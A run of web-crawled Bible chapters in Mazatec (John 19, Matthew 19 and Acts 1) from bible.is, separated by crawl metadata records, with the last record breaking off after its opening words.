―Jñò, sobà tanguíko̱o nga tjat'aà krò. 'A̱n, nìmé jé xi sakót'aà‑na i̱t'aà ts'e̱ xi̱ta̱ jè. 7Kiìchja̱ jñà xi̱ta̱xá‑la̱ xi̱ta̱ judío, kitsò‑la̱ Pilato: ―Ngaje̱n, tjín jngoò‑naje̱n kjo̱tíxoma; k'oa̱á s'ín tíchja̱ kjo̱tíxoma tsa̱je̱n: Xi̱ta̱ jè, mochjeén‑né nga ki̱yá, koií kjoa̱‑la̱ nga Ki'ndí‑la̱ Nainá tsò‑la̱ yijo‑la̱. 8Pilato, k'e̱ nga kiì'nchré 'én koi, ìsa̱á 'ñó ndaà kitsakjòn. 9Pilato, jahas'en ìjngoò k'a ni'ya osen, kitsò‑la̱ Jesús: ―¿Ñánda‑ne i̱'nde‑lè? Ta̱nga Jesús, mìkiì kiìchja̱‑la̱. 10Pilato kitsò‑la̱: ―¿Mé‑ne mì nokjoà‑ná? ¿A mì 'ya‑jèn? 'A̱n, tjí'ndeé‑na nga kot'aà‑lè krò, ti̱koa̱ tjí'ndeé‑na nga siìkíjnandei̱í‑lè. 11Kiìchja̱ Jesús kitsò‑la̱: ―Ni̱mé‑la xi tjí'nde‑lè i̱t'aà ts'a̱n tsà mìtsà Nainá kitsjaà‑lè. Jè xi̱ta̱ xi sínga̱tsja‑na i̱t'aà tsi̱ji, ìsa̱á tse jé tjín‑la̱ mì k'oa̱‑ne koni ji̱. 12Ti̱jè‑ne hora, jè Pilato mejèn‑la̱ si̱ìkíjnandei̱í Jesús ta̱nga jñà xi̱ta̱ judío ìsa̱á 'ñó kiìchja̱ kitsò: ―Xi̱ta̱ jè, tsà si̱kíjnandei̱í‑ne, mìtsà amigo tsi̱ji ma César xi xi̱ta̱xá ítjòn tíjna ts'e̱ Roma. Ni̱ta̱ yá‑ne xi xi̱ta̱xá ítjòn tsò‑la̱ yijo‑la̱, kondra̱ ts'e̱é César. 13Pilato, k'e̱ nga kiì'nchré 'én koi, kiìko̱ Jesús ján ndi̱tsiaán; tsibìjnasòn íxi̱le̱‑la̱ ya̱ i̱'nde ñánda 'mì I̱sòn Chrjó Nda̱jo̱; Gabatá 'mì nga 'én hebreo. 14Ta̱ jngoò na̱chrjein chija‑la̱ ts'e̱ s'eí Paxko̱; jyeé kjo̱meè bijchó nchisen. Pilato, kitsò‑la̱ jñà xi̱ta̱ judío: ―¡I̱ síjna xi̱ta̱xá ítjòn‑nò! 15Jñà xi̱ta̱ judío 'ñó jchán kiìchja̱ kitsò: ―¡Kàtabiyaà! ¡Kàtabiyaà! ¡Tjat'aà krò! Pilato kitsò‑la̱: ―Xi̱ta̱xá ítjòn‑nò, ¿a krò kót'aà? Jñà xi̱ta̱ sko̱‑la̱ no̱'miì, kiìchja̱ kitsò: ―Ngaje̱n, tsjìn‑naje̱n xi̱ta̱xá ítjòn xi kj'ei̱í, tà jè ta̱ jngoò César. 16Pilato kisìnga̱tsja nga kàtát'aà krò. Jñà xi̱ta̱ koi kiìko̱ Jesús. 17Jesús itjo, 'yajen krò‑la̱; ya̱á kiìko̱ ya̱ i̱'nde ñánda 'mì I̱'nde Sko̱ Mik'en, xi 'én hebreo Gólgota 'mì. 18K'e̱ nga ijchòko̱ i̱'nde jè, tsohót'aà krò, ko̱ nguì jò xi̱ta̱ xi kj'ei̱í, íjngó íjngó kisinchaàt'aà‑la̱ nga ngobà ngobà. Jè Jesús kìsasíjna jngoò osen‑la̱. 19Pilato kiskiì 'én xi tsohót'aà sko̱ krò xi tsò: \"Jesús xi Nazaret i̱'nde‑la̱, Xi̱ta̱xá Ítjòn‑la̱ xi̱ta̱ judío.\" 20Jñà 'én koi, kjìn xi̱ta̱ judío tsibíxke̱jiìn; nga̱ ya̱ i̱'nde ñánda kisit'aà krò Jesús, ya̱á chrañàt'aà‑la̱ na̱xa̱ndá. 'Én hebreo tjít'aà ko̱ 'én griego, ko̱ 'én latín. 21Jñà xi̱ta̱ sko̱‑la̱ no̱'miì ts'e̱ xi̱ta̱ judío, kitsò‑la̱ jè Pilato: ―Kì k'oa̱á s'ín chjiì xi tsò: \"Xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ judío.\" K'oa̱á s'ín chjí xi tsò: \"Xi̱ta̱ jè, k'oa̱á tsò nga jè‑né xi xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ judío.\" 22Kiìchja̱ Pilato kitsò: ―Koni s'ín jye kàkjiaà, k'oa̱á s'ín kàtìjna. 23Jñà soldado k'e̱ nga jye tsohót'aà krò Jesús, tsibíxkó nikje‑la̱; ñijòn ya kis'iìn. Íjngó íjngó ya kitsjaà‑la̱ xíkjín. Ti̱koa̱ kiskoé jè nikje ndojò‑la̱ xi x'ió kji, mìkiì kitjahaña, tà kijna ndojò‑né. 24Kitsò‑la̱ xíkjín: ―Mìkiì si̱xajndá; tà si̱skáko̱‑ná yá ts'e̱ ko̱ma. Jè kjoa̱ koi k'oa̱á s'ín tsitasòn koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: Nikje‑na̱ kisìka'bí‑la̱ xíkjín; jè nikje ndojò‑na̱ tà kisìskáko̱‑né. Jñà soldado, k'oa̱á kis'iìn. 25Ya̱á nchat'aà chrañà‑la̱ krò nea̱‑la̱ Jesús ko̱ ndichja ko̱ María chjo̱ón‑la̱ Cleofas ko̱ María Magdalena. 26Jesús, k'e̱ nga kijtseèxkon nea̱‑la̱ ko̱ jè xi̱ta̱ xi kota'yàt'aà‑la̱ xi 'ñó matsjakeè, kitsò‑la̱ nea̱‑la̱: ―Chjo̱ón, ya̱ síjna ki'ndí‑lè. 27I̱kjoàn kitsò‑la̱ jè xi̱ta̱ xi kota'yàt'aà‑la̱ xi 'ñó matsjakeè: ―Ya̱ síjna nea̱‑lè. Skanda ti̱k'e̱‑ne jè xi̱ta̱ jè kiskoétjò jè nea̱‑la̱ ya̱ ni'ya‑la̱. 28Xi jye komà, Jesús kijtseè nga jye tsitasòn yije, kitsò: ―Xíndá‑na. K'oa̱á s'ín tsitasòn koni s'ín tjít'aà Xo̱jo̱n‑la̱ Nainá. 29Ya̱á tíjna jngoò ti̱jí xi tjíya nandá vinagre. Kiskoé tsa̱nga̱, kisìka'nchi̱‑ne vinagre, i̱kjoàn tsibí'a jngoò yá, tsijmeé'a chrañà‑la̱ tso'ba Jesús. 30Jesús, k'e̱ nga jye kits'iì nandá vinagre, i̱kjoàn kitsò: ―Jyeé tsitasòn yije. Tsibíjnajteén sko̱, k'en. 31Tà jngoò na̱chrjein chija‑la̱ ts'e̱ s'eí Paxko̱; jñà xi̱ta̱ judío majìn‑la̱ nga ya̱ si̱tjo̱bát'aà krò yijo‑la̱ xi̱ta̱ xi jye k'en jè na̱chrjein nìkjáya (koií kjoa̱‑la̱ nga 'ñó xkón jè s'eí Paxko̱). Tsibítsi'ba‑la̱ Pilato nga kàtatsjá o̱kixi̱ mé‑ne nga kàtakjàn‑ne nindaà chrjomí‑la̱ jñà xi̱ta̱ xi tjo̱ót'aà krò, i̱kjoàn kàtakjínáje̱n‑t'aà krò. 32Kiì jñà soldado nga tsakján nindaà chrjomí‑la̱ jè xi síjna ítjòn; k'oa̱á ti̱ kisìko̱ jè xi ìjngoò xi ngásòn ta̱ña kisit'aà krò. 33Ta̱nga k'e̱ nga ijchò kinchat'aà‑la̱ Jesús, kijtseè nga jye k'en. Mìkiì tsakján nindaà chrjomí‑la̱. 34Ta̱nga jngoò soldado tsibísekjá ni̱si̱n‑la̱ jngoò ki̱cha̱ xi 'mì lanza. I̱kjoàn itjo jní ko̱ nandá. 35Jè xi kijtseè kjoa̱ koi, jè‑né xi tsjá 'én nga kixi̱ kjoa̱, ko̱ jè 'én xi tsjá, nguì 'én kixi̱‑né, ndaà tíjiìn‑la̱ nga 'én kixi̱í xi béno̱jmí, mé‑ne jñò ti̱koa̱ ko̱kjeiín‑nò. 36Kjoa̱ koi, k'oa̱á s'ín komà mé‑ne nga tsitasòn‑ne koni s'ín tjít'aà Xo̱jo̱n‑la̱ Nainá nga tsò: \"Ni̱jngoò nindaà‑la̱ ko̱kjàn.\" 37Ti̱koa̱á tjít'aà‑né ñánda tsò: \"Jè skótsejèn‑la̱ jè xi kiskíx'a̱kjá ni̱si̱n‑la̱.\" 38K'e̱ nga jye komà kjoa̱ koi, José xi ya̱ na̱xa̱ndá Arimatea i̱'nde‑la̱, ti̱koa̱á jè xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús ta̱nga tà tsajmeè'ma‑né nga jñà tsakjón‑la̱ xi̱ta̱ judío. Tsibítsi'ba‑la̱ Pilato nga kàtatsjá'nde‑la̱ nga kji̱ko̱ yijo‑la̱ Jesús. Pilato kitsjaà'nde‑né. José kiskónáje̱n‑t'aà krò yijo‑la̱ Jesús, i̱kjoàn kiìko̱. 39Ti̱koa̱ ijchò Nicodemo, jè xi̱ta̱ xi ijchòkon jngoò k'a Jesús k'e̱ nga jñò. 'Ya chijo jne̱ xi tsjájiìn‑la̱ chijo xi 'mì mirra ko̱ áloe. Ma‑la̱ tsà katé kilo chijo xi 'ya. 40José ko̱ Nicodemo, kiìko̱ yijo‑la̱ Jesús. Kisìkájtéjno nikje xi tjín‑la̱ chijo xi ndaà jne̱ koni s'ín tjín kjo̱tíxoma‑la̱ jñà xi̱ta̱ judío k'e̱ nga sihijiìn mik'en. 41Ya̱ i̱'nde ñánda kisit'aà krò Jesús, tjín jngoò i̱'nde ñánda títje̱ tsojmì tjè; ya̱á ti̱x'á jngoò nga̱jo̱ i̱tsjó‑la̱ mik'en xi nguì xi̱tse̱, ñánda ni̱ saà jngoò mik'en sijnaya. 42Ya̱á kisìkájna yijo‑la̱ Jesús nga ìsa̱ chrañàt'aà nga jyeé tímats'ia̱ na̱chrjein nìkjáya ts'e̱ xi̱ta̱ judío, jè víspera‑la̱ s'eí Paxko̱.\nSan Juan 19","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/John\/19","date":"2013-12-13T09:38:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164923389\/warc\/CC-MAIN-20131204134843-00070-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"maa_Latn_score\": 1.0000073909759521}","num_words":963,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.262,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga jye kiìchja̱ Jesús, kiì‑ne ya̱ Galilea ján nangui Judea xi tíjna xijngoaà xa̱jngá nandá Jordán. 2'Ñó kjìn xi̱ta̱ kiìtji̱ngui‑la̱ koa̱ ya̱á kisìndaà‑ne i̱'nde jè jñà xi̱ta̱ xi xk'én. 3Ijchò i'nga xi̱ta̱ fariseo ya̱ ñánda tíjna Jesús nga mejèn‑la̱ skóna̱cha̱n‑la̱. I̱kjoàn kiskònangui‑la̱, kitsò‑la̱: ―¿A tjí'nde‑la̱ xi x'i̱n nga tsjiìn chjo̱ón‑la̱ xi ni̱ta̱ mé kjoa̱‑ne? 4Jesús kitsò‑la̱: ―¿A kj'eè bìxke̱jñoò Xo̱jo̱n‑la̱ Nainá nga tsò: \"Nainá, k'e̱ nga sa̱ tsibíndaà xi̱ta̱, tsibíndaà x'i̱n ko̱ chjo̱ón\"? 5K'oa̱á kitsò: \"K'oa̱á ma‑ne nga jè x'i̱n si̱ìkíjna na̱'èn‑la̱ ko̱ nea̱‑la̱ nga kíjnako̱ chjo̱ón‑la̱. Ta jngoò xi̱ta̱ ko̱ma‑ne ingajò.\" 6Mìtsà ti̱ jò ma‑ne, tà jngoò ko̱ma‑ne. K'oi̱í kjoa̱‑la̱ nga mì yá xi̱ta̱ tjí'nde‑la̱ nga si̱ìtsjiìn‑ne xíkjín xi Nainá kisìjngoò. 7Jñà xi̱ta̱ fariseo kiskònangui‑la̱ Jesús: ―¿Mé‑ne jè Moisés kitsjaà'nde‑ne nga tsò: xo̱jo̱n kàtasindaà nga ko̱ma tsjín xíkjín xi̱ta̱? 8Jesús kitsò‑la̱: ―Koií‑né nga tájaàjiìn tjín ini̱ma̱‑nò, Moisés kitsjaà'nde‑nò nga kijnioò íchjín‑nò, ta̱nga k'e̱ nga sa̱ tàts'en‑la̱ kjoa̱, mì k'oa̱á s'ín tjín. 9'A̱n k'oa̱á xán‑nò, jè x'i̱n xi tsjín‑ne chjo̱ón‑la̱, tsà mìtsà kjoa̱ chijngui tísíko̱, ko̱ tsà kj'ei̱í chjo̱ón ki̱xan‑ko̱, jyeé kjoa̱ chijngui tís'ín jè x'i̱n. Ti̱koa̱á tsà jè x'i̱n xi ki̱xan‑ko̱ jngoò chjo̱ón xi kitsjiìn x'i̱n‑la̱, ti̱koa̱á kjoa̱ chijngui tís'ín. 10Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús kitsò: ―Tsà k'oa̱á s'ín 'iín tjín kjoa̱ ts'e̱ xi̱ta̱ xi bixan, ìsa̱á‑la ndaà s'e̱ tsà mì kì ki̱xan xi̱ta̱. 11Jesús kitsò‑la̱: ―Tjín xi̱ta̱ xi mìkiì mokjeiín‑la̱ kjo̱hítsjeèn jè; tà jñá xi̱ta̱ xi Nainá xó k'oa̱s'ín kitsjaà‑la̱. 12Tjín xi̱ta̱ xi mìkiì bixan nga xó k'oa̱s'ín kits'iìn‑ne nga mì íchjín si̱ìs'in‑la̱; ti̱koa̱á tjín xi̱ta̱ xi xi̱ta̱ xíkjín o̱kisìko̱ nga mì íchjín si̱ìs'in‑la̱; ti̱koa̱á tjín xi̱ta̱ xi mìkiì bixan nga k'oa̱s'ín tsibínè‑la̱ yijo‑la̱ nga mì íchjín si̱ìs'in‑la̱ nga mejèn‑la̱ si̱ìxá i̱t'aà ts'e̱ kjo̱tíxoma‑la̱ ngajmiì. Jñà xi̱ta̱ xi chíkjoa̱‑la̱ nga mokjeiín‑la̱ kjoa̱ koi, k'oa̱s'ín kàtasíkitasòn. 13Jñà xi̱ta̱ j'iìko̱‑la̱ ndí i̱xti ñánda tíjna Jesús nga mejèn‑la̱ ko̱òt'aà‑la̱ tsja ko̱ ki̱ìtsi'batjì, ta̱nga jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús tsohótiko̱ jñà xi̱ta̱ xi j'iìko̱ ndí i̱xti. 14K'e̱é kitsò Jesús: ―Tjiì'nde‑là jñà ndí i̱xti nga kàtjanchrobákon‑na. Kì binchahikon‑là. Jñà xi k'oa̱ s'ín tjín ini̱ma̱‑la̱ koni ts'e̱ ndí i̱xti, jyeé ts'e̱ ngats'iì kjo̱ndaà xi tjín ya̱ ñánda tíhotíxoma jè xi ngajmiì nchrobá‑ne. 15Jesús tsohósòn‑la̱ tsja jñà ndí i̱xti; i̱kjoàn kiì‑ne ya̱ i̱'nde jè. 16Jngoò xi̱ta̱ ijchòkon Jesús, kiskònangui‑la̱, kitsò‑la̱: ―Maestro, ¿mé kjo̱ndaà xi s'iaàn nga s'e̱‑la̱ kjoa̱binachon ini̱ma̱‑na̱ ni̱ta̱ kjé‑ne? 17Jesús kitsò‑la̱: ―¿Mé‑ne chjinangui‑ná i̱t'aà ts'e̱ kjoa̱ xi ndaà tjín? Mìtsà yá tjín xi ndaà xi̱ta̱, tà jngoò Nainá. Tsà mejèn‑lè nga s'e̱‑lè kjoa̱binachon ni̱ta̱ kjé‑ne, ti̱kitasoìn kjo̱tíxoma‑la̱ Nainá. 18Xi̱ta̱ jè kiskònangui: ―¿Ñá‑la̱á kjo̱tíxoma‑ne? Jesús kitsò‑la̱: ―\"Kì xi̱ta̱ nìk'in; kì kjoa̱ chijngui 'nì; kì chijé 'nì; kì 'én ndiso nokjoì i̱t'aà ts'e̱ xi̱ta̱ xi kj'ei̱í; 19jcha̱xkoín na̱'èn‑lè ko̱ nea̱‑lè; ti̱tsjachi xi̱ta̱ xingui̱i koni tsà ti̱ yijo tsi̱ji‑ne.\" 20―Ngats'iì kjo̱tíxoma koi jyeé kisìkitasoàn ―kitsò jè ti―. ¿Mé xi chija ìsa̱‑na̱? 21Jesús kitsò‑la̱: ―Tsà mejèn‑lè nga nguì kixi̱ ki̱jni, t'in, tatìjni yije tsojmì xi tjín‑lè. Jè to̱n‑lè ti̱ka'bí‑la̱ xi̱ta̱ i̱ma̱ mé‑ne nga s'e̱‑lè kjoa̱ machikon‑t'in ján ngajmiì. I̱kjoàn nchrobátji̱ngui‑ná. 22Xi̱ta̱ jè, k'e̱ nga kiì'nchré 'én koi, tà baá komà‑la̱, koií kjoa̱‑la̱ nga 'ñó kjìn tsojmì tjín‑la̱. 23K'e̱é kitsò‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús: ―O̱kixi̱í xi xan‑nò. 'Ñó 'in ko̱ma‑la̱ jñà xi̱ta̱ nchi̱ná nga kjoa̱has'en‑jiìn ñánda tíhotíxoma jè xi ngajmiì nchrobá‑ne. 24Nguì jngoò k'a ko̱xan‑nò, ìsa̱á mì 'in ko̱ma‑la̱ jngoò cho̱ camello nga kjoa̱has'en xko̱n nindoò xi tjahaña‑ne nikje, mì k'oa̱á‑ne koni jngoò xi̱ta̱ nchi̱ná xi 'ñó tjín‑la̱ tsojmì nga ko̱ma kjoa̱has'en‑jiìn ñánda tíhotíxoma jè xi ngajmiì nchrobá‑ne. 25K'e̱ nga kiì'nchré 'én koi jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús tà kjòxkón‑la̱. K'e̱é kitsò: ―¿Yá‑né xi ki̱tjokàjiìn kjo̱'in kjoa̱ ts'e̱ jé‑la̱? 26Jesús kiskoò'an, kitsò‑la̱: ―Jñà xi̱ta̱ mìkiì ko̱ma‑la̱ ko̱chrjekàjiìn kjo̱'in ini̱ma̱‑la̱. Ta̱nga xi Nainá ko̱maá‑la̱ ngats'iì kjoa̱. 27K'e̱é kitsò Pedro: ―Na̱'èn, ngaje̱n, jyeé kinìkítsa̱jna yije‑je̱n ngats'iì tsojmì xi tjín‑naje̱n, koa̱ ji̱ tjaàtji̱ngui‑lèje̱n. ¿Mé xi tjoé‑naje̱n? 28Jesús kitsò‑la̱: ―Xi o̱kixi̱í xi xan‑nò, k'e̱ nga ki̱jchò na̱chrjein nga ko̱xi̱tse̱ya ìjngoò k'a i̱sò'nde, ko̱ 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, k'e̱ nga kóti̱jnasoàn íxi̱le̱ xi 'ñó jeya tíjna, jñò, xi jye 'a̱n tjaàtji̱ngui‑ná, ti̱koa̱á ya̱á ki̱tsa̱jnasòn íxi̱le̱ ts'e̱ kjo̱tíxoma xi tejò ma‑ne, nga jñò kíndaàjiìn‑là jñà xi̱ta̱ xi tejò tje̱‑la̱ ts'e̱ na̱xa̱ndá Israel. 29Ngats'iì xi kjoa̱ ts'a̱n kisìkíjna ni'ya‑la̱, 'ndse̱, ndichja, na̱'èn‑la̱, nea̱‑la̱, chjo̱ón‑la̱, i̱xti‑la̱, nangui‑la̱, jngoò sìndo̱ k'a k'oa̱ tjín tjoé ìsa̱‑la̱. Ti̱koa̱á tjoé‑la̱ kjoa̱binachon ni̱ta̱ kjé‑nè. 30I̱'ndei̱, kjìn xi̱ta̱ xi títsa̱jna ítjòn, k'e̱ nga ko̱ma i̱skan jñà kítsa̱jna tji̱ngui. Ko̱ xi títsa̱jna tji̱ngui i̱'ndei̱ k'e̱ nga ko̱ma i̱skan jñà kítsa̱jna ítjòn.\nSan Mateo 19","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/19","date":"2013-12-05T03:55:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163039753\/warc\/CC-MAIN-20131204131719-00049-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.000008463859558}","num_words":723,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.314,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ji̱ Nàmi̱ Teófilo, jè xa̱jo̱n ra 'a̱n tsikindá ítjòn‑la, 'koa̱á 'sín tsi'kènájmí‑la nga'tsì kjoa̱ ra ki'sìn ko̱ ra tsakón‑ya Jesús skanda 'kia̱ ti̱'sa̱ tsikí'tsia̱ nga kisíxá, 2skanda jè ni̱chjin 'kia̱ nga Nainá iko̱ india‑ni ya̱ ján ngajmi. 'Kia̱ nga ti̱kje fì‑ni ján ngajmi Jesús, jé nga'ñó‑la̱ Inìma̱ Tsje‑la̱ Nainá isìchjeén nga kitsjà xá‑la̱ jñà chi̱'nda‑la̱ ra xá tsjahíjin‑ni. 3'Kia̱ nga ijye tsatojin kjo̱biya, tsakón‑la̱ ijo‑la̱ ko̱ kjín sko̱ya kjoa̱ ki'sìn nga tsakón nga ngi kixi̱í kjoa̱ nga tíjnakon. Nga ichán ni̱chjin, kjín 'ka̱ tsakón‑la̱ ijo‑la̱ ko̱ ti̱'koa̱á tsi'kéna̱jmí‑la̱ a̱'ta 'tse̱ kó'sín batéxoma Nainá. 4'Kia̱ nga tíjnako̱‑isa jñà xi̱ta̱‑la̱, 'koa̱á 'sín kitsjá‑la̱ kjo̱hixi̱ nga kitsò‑la̱: ―Kì tà chjàn bítjo̱jiòn ya̱ na̱xi̱ndá Jerusalén. Jchíña kjoa̱‑la skanda 'kia̱ nga ki̱tjojen kjo̱nda ra tsjá Na̱'ìn‑na̱ koni 'sín ijye kitsjà tsa'ba. Ijyeé ko̱'sín kíxin‑no 'kia̱ nga ti̱'sa̱ ítjòn. 5Kixi̱í kjoa̱, jè Juan, ta nandá tsatíndá‑ni xi̱ta̱. Tanga mì tsa ti̱ kjìn ni̱chjin chija‑ni nga ngi ko̱ó Inìma̱ Tsje‑la̱ Nainá sa̱tíndá‑no ra jiòn ―kitsò Jesús. 6Jñà xi̱ta̱ ra ya̱ títsa̱jnako̱ Jesús iskonangií‑la̱, kitsò‑la̱: ―Na̱'ìn, ra tijna ítjòn‑náji̱n, jñà ni̱chjin kìi̱, ¿a si̱kíjnandi̱í india‑ni na̱xi̱ndá Israel mé‑ni nga ti̱jè ko̱tèxoma‑la̱ ijo‑la̱? 7Jesús kitsó‑la̱: ―Mì tsa jiòn bako̱‑najiòn nga jcha̱a jè ni̱chjin; ta̱ jngó‑la jè Na̱'ín‑ná be mé ni̱chjin‑ni ko̱ mé hora‑ní koni 'sín nga ijye iskosòn‑la̱ ra jè. 8Tanga 'kia̱ nga ki̱tjojen‑nè‑no jè Inìma̱ Tsje‑la̱ Nainá, 'kia̱á tjábé‑no nga'ñó. Jiòn 'kéna̱jmí‑la xi̱ta̱ ra a̱'ta tsa̱'a̱n i̱ Jerusalén, ko̱ kóho'ki nga tíjngo nangi Judea ko̱ Samaria, skanda ñánda̱ fehe'ta jè i̱sà'nde. 9'Kia̱ nga ijye ko̱'sín kitsò Jesús, jñà xi̱ta̱‑la̱ i̱nchikotsíjeén‑la̱, a̱kjòn itjamíjìn i'ngaá, nga̱ jè Nainá iko̱ india‑ni ján ngajmi ján. Ya̱á tsikíjtsa'ma jngo ifi ko̱ mì kì ti̱ tsatsíjen‑ila̱ jñà xi̱ta̱‑la̱. 10Jñà xi̱ta̱‑la̱, 'kia̱ nga i̱nchikotsíjen ján i'ngaá nga tífìmijìn Jesús, tà ndi̱to̱ón ijchò kincha'ta chraña jò‑la̱ xi̱ta̱ ra kjiya nikje ra chraba kjòn. 11Jñà xi̱ta̱ kìi̱ kitsó‑la̱: ―Jiòn ra xi̱ta̱ Galilea 'mì‑no, ¿mé‑ni ko̱'sín ya̱ chitsíjen‑no ján ngajmi? Jè Jesús, koni 'sín ka'ya jiòn nga kàfìmijìn india‑ni ya̱ ján ngajmi, ki̱jchó ni̱chjin nga ti̱ ko̱'sín kj'i̱í india‑nì. 12Jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús, 'koa̱á 'sín inchrabà‑ni ya̱ nindo Yá Olivo nga kijì india‑ni ján Jerusalén. 'Koa̱á 'ki chraña tíjna‑la̱ Jerusalén koni 'ki tsjá'nde kjo̱téxoma nga ma fì xi̱ta̱ 'kia̱ nga ni̱chjin níkjáya. 13'Kia̱ nga ijchò‑ni ya̱ na̱xi̱ndá Jerusalén, ya̱á kiìmijìn ya̱ ni'ya ra kjijnasòn'nga i'ngaá ya̱ ñánda̱ nga síkjáya‑ni jñà xi̱ta̱ kìi̱ ra 'mì Pedro, Jacobo, Juan, Andrés, Felipe, Tomás, Bartolomé, Mateo, Jacobo ti‑la̱ Alfeo, Simón Celote, Judas, ra ti‑la̱ Jacobo. 14Nga'tsì xi̱ta̱ kìi̱, kji'tá ni̱chjin nga maxkóya nga jngo jta̱ 'sín kjo̱bítsjen‑la̱ nga chja̱'ta‑la̱ Nainá, ko̱ ti̱'koa̱ tjítsa̱jna i'ka íchjín, ko̱ María ra na̱‑la̱ Jesús ko̱ jñà 'ndse̱. 15Jñà ni̱chjin kìi̱, tsasèn kixi̱í Pedro nga kiìchja̱jin‑la̱ jñà xi̱ta̱ ra makjiín‑la̱ a̱'ta 'tse̱ Cristo; maá‑la tsa jngo sindo̱ ko̱ kan jñà xi̱ta̱. Jè Pedro kitsó‑la̱: 16―'Ndsé, xá 'koa̱á 'sín tjínè‑la̱ nga itjasòn koni 'sín ijye kiìchja̱ kjotseé jè Inìma̱ Tsje‑la̱ Nainá 'kia̱ nga jè David tsi'kéna̱jmíya ya̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá mé ra ka̱ma'tin jè Judas, jè ra kiskèn‑la̱ ndi̱yá jñà xi̱ta̱ ra kitsabá'ñó jè Jesús. 17Jè Judas, ti̱'koa̱á ko̱ó‑te ra tejò ma‑naji̱n. Ko̱ ti̱'koa̱á ti̱jé xá 'ya‑te‑ni koni ngaji̱n tsiki. 18Jè to̱n ra isikijne a̱'ta 'tse̱ kjoa̱'cho ra ki'sìn, nangií tsatse jngo 'ndé‑ni; a̱kjòn kijì, sko̱ó iskàtje̱n'ta‑ni nangi, ngi itjoó náa̱'ye‑la̱ nga ichrjajndá i̱ndsi̱'ba̱. 19'Kia̱ nga ijye kií'nchré ijye xi̱ta̱ na̱xi̱ndá Jerusalén nga ijyeé 'ken jè Judas, jè i̱'nde ra̱kìi̱, Acéldama tsikí'ta 'í‑la̱. 'Í ra̱kìi̱, I̱'nde Jní, tsò‑ni a̱'ta 'tse̱ 'én‑la̱. 20Jè xa̱jo̱n 'tse̱ Salmo, 'koa̱á 'sín tíchja̱ nga tsò: Jè ni'ya‑la̱ katjajna tiya, ko̱ kì ni̱yá ra bìtsa̱ya. Ko̱ tjín jngo‑isa Salmo ñánda̱ nga tíchja̱ ra tsò: Kj'ií xi̱ta̱ katjaha'sen ngajo‑la̱ xá‑la̱. 21'Machjeén‑ní nga ti̱jñà katjahíjin jngo‑ni ra ngajo‑la̱ Judas, jñà xi̱ta̱ ra tjítsa̱jna‑jin‑ná i̱jndíi̱ ra tjímako̱‑ná skanda kjotseé 'kia̱ nga tsajmekó‑ná Jesús, 22ma'tsia̱‑ni 'kia̱ nga tsatíndá xi̱ta̱ Juan, skanda 'kia̱ nga kijìmijìn india‑ni Jesús ján ngajmi, mé‑ni nga jè xi̱ta̱ ra tjáhijin kíjna ko̱‑ná, ti̱'koa̱á tsjá 'én nga jè Jesús ijyeé jaáya‑la̱ ―kitsò Pedro. 23'Kia̱á tsjahíjin jò xi̱ta̱: jngo ra 'mì José, ti̱'koa̱á tjí'tasòn 'í‑la̱ nga Barsabás 'mì ko̱ nga Justo 'mì‑te; jè xi̱ta̱ ra ìjngo, Matías 'mì. 24A̱kjòn kiìchja̱'ta‑la̱ Nainá, kitsò: ―Ngaji̱ Na̱'ìn, nga 'yaxkin inìma̱‑la̱ nga'tsì xi̱ta̱, ko̱'tín‑náji̱n ñáa̱‑ni ngajò xi̱ta̱ kìi̱ nga ijye kàchjaájin, 25mé‑ni nga jè ska̱ábé‑ni jè xá ra isixáya‑la̱ jè Judas, jè ra isíkíjna 'kia̱ nga tsakátsji‑jé, nga kijì i̱'nde ya̱ ñánda̱ bako̱‑la̱. 26Tsajo̱ónda̱cha̱‑ní nga isíská‑kjo. Ko̱ jé Matías isikijne. Jé kjamà‑ni tejò xi̱ta̱ ra tsikíxáya‑la̱ Jesús jñà ra tejngo ma‑ni nga ti̱'sa̱ ítjòn.\nHechos 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/1","date":"2013-12-09T13:15:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163973624\/warc\/CC-MAIN-20131204133253-00092-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000083446502686}","num_words":738,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.314,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nga̱ skanda ijyeé ko̱'sín na'yá‑la̱ ra a̱'ta tsa̱jiòn nga tjín ra kjoa̱chijngi, jngo kjoa̱chijngi ra skanda mí tsa ko̱'sín na'yá‑la̱ a̱'ta 'tse̱ 